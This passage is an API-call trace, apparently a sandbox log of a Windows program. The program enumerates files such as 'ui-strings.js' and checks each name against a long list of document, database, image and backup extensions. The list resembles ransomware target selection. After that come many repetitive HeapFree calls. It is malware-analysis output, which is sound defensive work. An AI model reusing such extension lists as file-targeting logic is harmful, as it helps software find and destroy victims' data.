lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.534] lstrlenW (lpString="ui-strings.js") returned 13 [0287.534] lstrlenW (lpString=".1cd") returned 4 [0287.534] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0287.534] lstrlenW (lpString=".3ds") returned 4 [0287.534] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0287.534] lstrlenW (lpString=".3fr") returned 4 [0287.534] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0287.534] lstrlenW (lpString=".3g2") returned 4 [0287.534] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0287.534] lstrlenW (lpString=".3gp") returned 4 [0287.534] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0287.534] lstrlenW (lpString=".7z") returned 3 [0287.534] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0287.535] lstrlenW (lpString=".accda") returned 6 [0287.535] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0287.535] lstrlenW (lpString=".accdb") returned 6 [0287.536] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0287.536] lstrlenW (lpString=".accdc") returned 6 [0287.536] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0287.536] lstrlenW (lpString=".accde") returned 6 [0287.537] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0287.537] lstrlenW (lpString=".accdt") returned 6 [0287.537] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0287.537] lstrlenW (lpString=".accdw") returned 6 [0287.537] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0287.537] lstrlenW (lpString=".adb") returned 4 [0287.537] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0287.537] lstrlenW (lpString=".adp") returned 4 [0287.537] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0287.537] lstrlenW (lpString=".ai") returned 3 [0287.537] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0287.537] lstrlenW (lpString=".ai3") returned 4 [0287.537] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0287.537] lstrlenW (lpString=".ai4") returned 4 [0287.537] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0287.537] lstrlenW (lpString=".ai5") returned 4 [0287.537] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0287.537] lstrlenW (lpString=".ai6") returned 4 [0287.537] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0287.537] lstrlenW (lpString=".ai7") returned 4 [0287.537] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0287.537] lstrlenW (lpString=".ai8") returned 4 [0287.537] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0287.537] lstrlenW (lpString=".anim") returned 5 [0287.538] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0287.538] lstrlenW (lpString=".arw") returned 4 [0287.538] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0287.538] lstrlenW (lpString=".as") returned 3 [0287.538] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0287.538] lstrlenW (lpString=".asa") returned 4 [0287.538] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0287.538] lstrlenW (lpString=".asc") returned 4 [0287.538] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0287.538] lstrlenW (lpString=".ascx") returned 5 [0287.538] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0287.538] lstrlenW (lpString=".asm") returned 4 [0287.538] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0287.538] lstrlenW (lpString=".asmx") returned 5 [0287.538] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0287.538] lstrlenW (lpString=".asp") returned 4 [0287.538] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0287.538] lstrlenW (lpString=".aspx") returned 5 [0287.538] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0287.538] lstrlenW (lpString=".asr") returned 4 [0287.538] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0287.538] lstrlenW (lpString=".asx") returned 4 [0287.538] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0287.538] lstrlenW (lpString=".avi") returned 4 [0287.538] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0287.539] lstrlenW (lpString=".avs") returned 4 [0287.539] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0287.539] lstrlenW (lpString=".backup") returned 7 [0287.539] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0287.539] lstrlenW (lpString=".bak") returned 4 [0287.539] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0287.539] lstrlenW (lpString=".bay") returned 4 [0287.539] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0287.539] lstrlenW (lpString=".bd") returned 3 [0287.539] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0287.539] lstrlenW (lpString=".bin") returned 4 [0287.539] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0287.539] lstrlenW (lpString=".bmp") returned 4 [0287.539] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0287.539] lstrlenW (lpString=".bz2") returned 4 [0287.539] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0287.539] lstrlenW (lpString=".c") returned 2 [0287.539] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0287.539] lstrlenW (lpString=".cdr") returned 4 [0287.539] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0287.539] lstrlenW (lpString=".cer") returned 4 [0287.539] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0287.539] lstrlenW (lpString=".cf") returned 3 [0287.539] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0287.539] lstrlenW (lpString=".cfc") returned 4 [0287.540] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".cfm") returned 4 [0287.540] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".cfml") returned 5 [0287.540] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0287.540] lstrlenW (lpString=".cfu") returned 4 [0287.540] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".chm") returned 4 [0287.540] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".cin") returned 4 [0287.540] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".class") returned 6 [0287.540] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0287.540] lstrlenW (lpString=".clx") returned 4 [0287.540] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".config") returned 7 [0287.540] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0287.540] lstrlenW (lpString=".cpp") returned 4 [0287.540] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".cr2") returned 4 [0287.540] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".crt") returned 4 [0287.540] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".crw") returned 4 [0287.540] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0287.540] lstrlenW (lpString=".cs") returned 3 [0287.540] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0287.541] lstrlenW (lpString=".css") returned 4 [0287.541] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".csv") returned 4 [0287.541] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".cub") returned 4 [0287.541] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".dae") returned 4 [0287.541] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".dat") returned 4 [0287.541] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".db") returned 3 [0287.541] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0287.541] lstrlenW (lpString=".dbf") returned 4 [0287.541] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".dbx") returned 4 [0287.541] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".dc3") returned 4 [0287.541] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".dcm") returned 4 [0287.541] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".dcr") returned 4 [0287.541] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".der") returned 4 [0287.541] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".dib") returned 4 [0287.541] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0287.541] lstrlenW (lpString=".dic") returned 4 [0287.542] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0287.542] lstrlenW (lpString=".dif") returned 4 [0287.542] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0287.542] lstrlenW (lpString=".divx") returned 5 [0287.542] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0287.542] lstrlenW (lpString=".djvu") returned 5 [0287.542] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0287.542] lstrlenW (lpString=".dng") returned 4 [0287.542] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0287.542] lstrlenW (lpString=".doc") returned 4 [0287.542] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0287.542] lstrlenW (lpString=".docm") returned 5 [0287.542] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0287.542] lstrlenW (lpString=".docx") returned 5 [0287.542] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0287.542] lstrlenW (lpString=".dot") returned 4 [0287.542] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0287.542] lstrlenW (lpString=".dotm") returned 5 [0287.542] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0287.542] lstrlenW (lpString=".dotx") returned 5 [0287.542] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0287.542] lstrlenW (lpString=".dpx") returned 4 [0287.542] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0287.542] lstrlenW (lpString=".dqy") returned 4 [0287.542] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0287.542] lstrlenW (lpString=".dsn") returned 4 [0287.542] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".dt") returned 3 [0287.543] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0287.543] lstrlenW (lpString=".dtd") returned 4 [0287.543] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".dwg") returned 4 [0287.543] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".dwt") returned 4 [0287.543] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".dx") returned 3 [0287.543] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0287.543] lstrlenW (lpString=".dxf") returned 4 [0287.543] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".edml") returned 5 [0287.543] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0287.543] lstrlenW (lpString=".efd") returned 4 [0287.543] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".elf") returned 4 [0287.543] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".emf") returned 4 [0287.543] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".emz") returned 4 [0287.543] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".epf") returned 4 [0287.543] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0287.543] lstrlenW (lpString=".eps") returned 4 [0287.543] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0287.544] lstrlenW (lpString=".epsf") returned 5 [0287.544] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0287.544] lstrlenW (lpString=".epsp") returned 5 [0287.544] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0287.544] lstrlenW (lpString=".erf") returned 4 [0287.544] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0287.544] lstrlenW (lpString=".exr") returned 4 [0287.544] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0287.544] lstrlenW (lpString=".f4v") returned 4 [0287.544] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0287.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.842] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.842] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.871] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.872] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.872] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.872] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.872] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.872] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.872] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.872] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.872] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.873] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.873] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.873] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.873] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.873] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.873] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0287.874] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.875] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0287.876] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0287.876] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.876] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0287.876] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.876] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0287.877] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0288.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0288.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0288.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0288.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.374] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.374] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.374] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.375] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.375] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0288.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0288.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0288.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0288.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0288.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0288.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0288.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0288.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.486] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0288.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0288.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0288.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0288.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0288.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0288.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.208] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.208] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5480048 | out: hHeap=0x640000) returned 1 [0289.209] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.209] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.209] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.209] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.209] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.209] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.213] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0289.213] 